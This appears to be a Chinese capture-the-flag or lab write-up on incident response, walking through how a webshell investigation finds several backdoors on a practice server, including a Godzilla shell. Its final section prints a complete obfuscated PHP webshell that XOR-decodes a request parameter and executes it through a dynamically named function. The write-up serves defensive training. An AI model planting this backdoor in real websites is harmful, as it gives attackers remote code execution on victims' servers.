第一章 应急响应-webshell查杀

简介

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

步骤

一、黑客webshell里面的flag

启动连接靶机后

将web目录下载下来

直接用D盾扫

有后门在gz.php中发现flag1

二、黑客使用的什么工具的shell

使用什么的什么shell工具主要看他是什么马

@session_start(); - 开启一个会话。
@set_time_limit(0); - 设置脚本执行时间为无限。
@error_reporting(0); - 关闭所有错误报告。

这些代码行主要用于隐藏病毒活动并确保其能够长时间运行而不被发现。哥斯拉病毒通常会通过Webshell或其他漏洞注入到服务器中，然后使用这些命令来掩盖其存在并执行进一步的恶意操作。

从这里我们可以看出使用的哥斯拉

Godzilla地址：https://github.com/BeichenDream/Godzilla

三、黑客隐藏shell的完整路径的md5

题目说是隐藏shell的路径

我们只能用ls -al来查看

我们的D盾也扫出来了

补上前面的路径即可

四、黑客免杀马完整路径

D盾扫出来的

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

典型的不死马补上前面的路径即可